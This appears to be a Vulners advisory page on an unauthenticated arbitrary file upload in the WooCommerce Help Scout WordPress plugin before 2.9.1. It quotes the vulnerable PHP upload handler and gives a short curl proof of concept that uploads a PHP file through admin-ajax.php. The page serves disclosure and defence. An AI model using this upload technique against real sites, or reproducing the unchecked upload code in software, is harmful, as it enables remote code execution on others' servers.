Lucene search
+L

WooCommerce Help Scout < 2.9.1 - Unauthenticated Arbitrary File Upload leading to RCE

🗓️ 21 Mar 2021 00:00:00Reported by Ville Korhonen / SeravoType 
wpexploit
 wpexploit
👁 989 Views

WooCommerce Help Scout < 2.9.1 - Unauthenticated Arbitrary File Upload leading to RCE. 0-day exploit actively exploited, allowing unauthenticated users to upload files to wp-content/uploads/hstmp. Plugin disablement recommended until patch

Related
Refs
Code
In file /woocommerce-help-scout/includes/class-wc-help-scout-ajax.php there is class WC_Help_Scout_Ajax

with constructor initializing action

add_action( 'wp_ajax_nopriv_wc_help_scout_upload_attachments', array( $this, 'wc_help_scout_upload_attachments' ) );

which reads uploaded $_FILES and then executes 

        $target_path_sia = $_FILES["file"]["name"];
                move_uploaded_file($_FILES["file"]["tmp_name"],$dir. "/hstmp/" . $target_path_sia);


Ie. attacker can run 

echo '<?php echo "Hello World!";' > helloworld.php

curl -X POST -F [email protected] https://<site>/wp-admin/admin-ajax.php?action=wc_help_scout_upload_attachments

to exploit this vuln.

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation